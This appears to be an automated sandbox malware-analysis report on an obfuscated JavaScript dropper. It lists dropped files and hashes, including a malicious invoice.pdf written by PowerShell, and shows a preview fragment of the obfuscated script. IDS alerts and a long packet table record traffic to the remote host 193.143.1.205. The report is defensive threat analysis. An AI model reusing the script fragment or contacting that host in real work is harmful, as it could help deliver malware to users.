SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c7e37692-4a95-4c08-a1a5-8787a32f124b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oFGZswYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxFGZswZGh3mlind9i4ufFXpAXkru
MD5:	67EBA7096DE50120F5E6CF45B2ABDBC3
SHA1:	06427FBD938471746D27631D3897434E1E7B89F4
SHA-256:	7A4019B014EAAF11EC07EA0CDB234281769281D11D45ABE1259366FBD324AF2F
SHA-512:	85DB995E09DED7C429CA36C01BE62791438BE3EB0713EEE8A009EE081BF76D22C04B402A58B6E54A544597D97332056CED5E2037479BB3A1CF35F682D61E9270
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18425), with CRLF line terminators
Entropy (8bit):	4.908857256458346
TrID:
File name:	1141011204217106657.js
File size:	21'901 bytes
MD5:	58e7446261fc5d3e9d3bee0c9cbb54c7
SHA1:	9ea11e47a5f0bcf1adad66409f62c67b46cb3e42
SHA256:	4690f2881b87fa8f4050520d4de9c6f95b65fd102484c5d6c3d93baa9eb929ba
SHA512:	1204be92f1117cffe049b22c507c43593af0fef805d9f954ec760a6df1f5f3bacdc4244477366a1a6d9f559772fe22cb764d4ab1150d77ba994e94a322bdceae
SSDEEP:	384:tZzP4AIFITAIFINNAIFIcMRJFeHV+k++zShMKzryLKPUVrU5S7Vb0/f/+5zrlpR2:TL4BGTBGTBGcMRJQOuxYn175oQsFCPN3
TLSH:	6FA23484C623EF3789FE15B8DA570CB560A0455CABD802D84AA542C60BF5B98F4F36F5
File Content Preview:	function hqnossw(){iadqhp=[1031,3079,5127,4103,2055,3072];var bepaskeev=this[moyqh+cjbgxnu+rjupcmb+lccmvhqsb+tpohpe+rfptnhcd+qxuvc+hkzezb](this[kgonmk+knwdeo+facvjwq+rjupcmb+ehsefgza+moyqh+hkzezb][khfxbgng+rjupcmb+tpohpe+cjbgxnu+hkzezb+tpohpe+iksnlk+hcvza

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:13:33.016873+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49707	193.143.1.205	80	TCP
2025-01-10T22:13:36.277024+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49708	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:13:32.191804886 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:32.196737051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:32.196902037 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:32.201123953 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:32.205981970 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016769886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016839027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016851902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016864061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016872883 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.016901970 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.016928911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016940117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016952038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016963005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016974926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016979933 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.016988039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.016999006 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.017028093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.021851063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.073857069 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.077117920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.077135086 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.077184916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.138842106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.138870955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.138884068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.138895988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.138906956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.138916016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.138936996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.139271975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.139327049 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.139328003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.139543056 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.139554024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.139564991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.139575005 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.139590979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.139600992 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.139602900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.139638901 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.140450001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.140466928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.140479088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.140490055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.140501022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.140528917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.141393900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.141407013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.141417980 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.141444921 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.141469955 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.204884052 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.204900980 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.204952002 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.249627113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.249643087 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.249656916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.249716997 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.260519981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.260533094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.260545969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.260560989 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.260585070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.260587931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.260598898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.260644913 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.260817051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.260843992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.260855913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.260885000 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.261121988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261142015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261162043 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.261334896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261370897 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.261404991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261416912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261430025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261442900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261456013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.261483908 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.261873007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261924982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261936903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261950016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.261960030 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.261985064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262001038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262003899 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.262015104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262034893 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.262864113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262875080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262888908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262901068 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.262908936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262921095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262932062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.262933016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262947083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.262959003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.262984991 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.263858080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.263870001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.263881922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.263894081 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.263904095 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.263906002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.263920069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.263933897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.263936043 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.263956070 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.264699936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.264710903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.264723063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.264734983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.264745951 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.264748096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.264760971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.264770031 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.264791012 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.291682005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.291703939 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.291714907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.291786909 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.291876078 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.336368084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.336394072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.336473942 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.371388912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.371407032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.371421099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.371448994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.371474981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.371498108 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.371514082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.371520996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.371556044 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382065058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382078886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382091999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382148027 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382158041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382169962 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382203102 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382478952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382492065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382505894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382518053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382519007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382545948 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382611036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382622957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382635117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382647991 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382673025 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382886887 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382899046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382913113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382925034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.382949114 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382958889 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.382972956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383011103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.383147955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383214951 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.383233070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383245945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383259058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383280993 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.383284092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383327007 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.383512020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383534908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383570910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.383699894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383712053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383725882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383742094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.383750916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.383783102 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.383945942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384052992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384063959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384076118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384088039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384092093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384100914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384114981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384124041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384128094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384140015 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384141922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384166956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384757996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384771109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384783983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384797096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384799004 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384812117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384814024 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384824038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384839058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384843111 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384851933 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384865999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384879112 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384885073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384902000 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384907961 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.384917021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.384936094 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.385600090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385617971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385632038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385637999 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.385644913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385658026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385668039 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.385672092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385685921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385694981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.385699987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385720968 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.385731936 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385745049 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385757923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385766029 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.385771990 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.385791063 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.387090921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387104034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387116909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387132883 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.387156963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:13:33.387173891 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387192965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387204885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 22:13:33.387216091 CET	80	49707	193.143.1.205	192.168.2.9
